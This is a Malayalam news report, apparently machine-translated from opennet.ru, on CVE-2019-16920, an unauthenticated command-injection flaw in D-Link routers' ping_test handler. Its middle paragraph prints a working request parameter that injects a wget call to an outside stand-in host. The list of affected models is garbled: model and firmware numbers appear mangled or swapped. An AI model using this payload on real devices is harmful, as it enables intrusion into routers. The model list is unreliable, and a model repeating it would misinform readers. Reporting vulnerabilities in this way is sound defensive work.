ഡി-ലിങ്ക് റൂട്ടറുകളിൽ വിദൂരമായി ചൂഷണം ചെയ്യാവുന്ന ദുർബലത

ഡി-ലിങ്ക് വയർലെസ് റൂട്ടറുകളിൽ തിരിച്ചറിഞ്ഞു അപകടകരമായ ദുർബലത (CVE-2019–16920), "ping_test" ഹാൻഡ്‌ലറിലേക്ക് ഒരു പ്രത്യേക അഭ്യർത്ഥന അയച്ചുകൊണ്ട് ഉപകരണത്തിന്റെ വശത്ത് വിദൂരമായി കോഡ് നടപ്പിലാക്കാൻ നിങ്ങളെ അനുവദിക്കുന്നു, പ്രാമാണീകരണം കൂടാതെ ആക്‌സസ് ചെയ്യാം.

രസകരമെന്നു പറയട്ടെ, ഫേംവെയർ ഡെവലപ്പർമാരുടെ അഭിപ്രായത്തിൽ, "ping_test" കോൾ പ്രാമാണീകരണത്തിന് ശേഷം മാത്രമേ എക്സിക്യൂട്ട് ചെയ്യാവൂ, എന്നാൽ വാസ്തവത്തിൽ അത് വെബ് ഇന്റർഫേസിലേക്ക് ലോഗിൻ ചെയ്യാതെ തന്നെ ഏത് സാഹചര്യത്തിലും വിളിക്കപ്പെടുന്നു. പ്രത്യേകിച്ചും, apply_sec.cgi സ്‌ക്രിപ്റ്റ് ആക്‌സസ് ചെയ്യുകയും “action=ping_test” പാരാമീറ്റർ കടന്നുപോകുകയും ചെയ്യുമ്പോൾ, സ്‌ക്രിപ്റ്റ് ആധികാരികത പേജിലേക്ക് റീഡയറക്‌ട് ചെയ്യുന്നു, എന്നാൽ അതേ സമയം ping_test-മായി ബന്ധപ്പെട്ട പ്രവർത്തനം നിർവ്വഹിക്കുന്നു. കോഡ് എക്സിക്യൂട്ട് ചെയ്യാൻ, ping_test-ൽ തന്നെ മറ്റൊരു അപകടസാധ്യത ഉപയോഗിച്ചു, ഇത് പരിശോധനയ്ക്കായി അയച്ച IP വിലാസത്തിന്റെ കൃത്യത പരിശോധിക്കാതെ പിംഗ് യൂട്ടിലിറ്റിയെ വിളിക്കുന്നു. ഉദാഹരണത്തിന്, wget യൂട്ടിലിറ്റിയിലേക്ക് വിളിക്കാനും "echo 1234" കമാൻഡിന്റെ ഫലങ്ങൾ ഒരു ബാഹ്യ ഹോസ്റ്റിലേക്ക് മാറ്റാനും, "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// എന്ന പാരാമീറ്റർ വ്യക്തമാക്കുക. test.test/?$( എക്കോ 1234)".

താഴെപ്പറയുന്ന മോഡലുകളിൽ ദുർബലതയുടെ സാന്നിധ്യം ഔദ്യോഗികമായി സ്ഥിരീകരിച്ചിട്ടുണ്ട്:

• ഫേംവെയർ 655b3.02 അല്ലെങ്കിൽ പഴയത് ഉള്ള DIR-05;
• ഫേംവെയർ 866b1.03 അല്ലെങ്കിൽ പഴയത് ഉള്ള DIR-04L;
• ഫേംവെയർ 1565 അല്ലെങ്കിൽ പഴയത് ഉള്ള DIR-1.01;
• DIR-652 (പ്രശ്നമുള്ള ഫേംവെയർ പതിപ്പുകളെക്കുറിച്ചുള്ള വിവരങ്ങളൊന്നും നൽകിയിട്ടില്ല)

ഈ മോഡലുകൾക്കുള്ള പിന്തുണാ കാലയളവ് ഇതിനകം കാലഹരണപ്പെട്ടു, അതിനാൽ ഡി-ലിങ്ക് പറഞ്ഞു, അപകടസാധ്യത ഇല്ലാതാക്കാൻ അവയ്‌ക്കായി അപ്‌ഡേറ്റുകൾ റിലീസ് ചെയ്യില്ല, അവ ഉപയോഗിക്കാൻ ശുപാർശ ചെയ്യുന്നില്ല, പുതിയ ഉപകരണങ്ങൾ ഉപയോഗിച്ച് അവ മാറ്റിസ്ഥാപിക്കാൻ ഉപദേശിക്കുന്നു. ഒരു സുരക്ഷാ പരിഹാരമെന്ന നിലയിൽ, വിശ്വസനീയമായ IP വിലാസങ്ങളിലേക്ക് മാത്രം നിങ്ങൾക്ക് വെബ് ഇന്റർഫേസിലേക്കുള്ള ആക്സസ് പരിമിതപ്പെടുത്താം.

അപകടസാധ്യതയും കൂടിയാണെന്ന് പിന്നീട് കണ്ടെത്തി ബാധിക്കുന്നു മോഡലുകൾ DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, DIR-825, അപ്‌ഡേറ്റുകൾ പുറത്തിറക്കുന്നതിനുള്ള പദ്ധതികൾ ഇതുവരെ അറിവായിട്ടില്ല.

അവലംബം: opennet.ru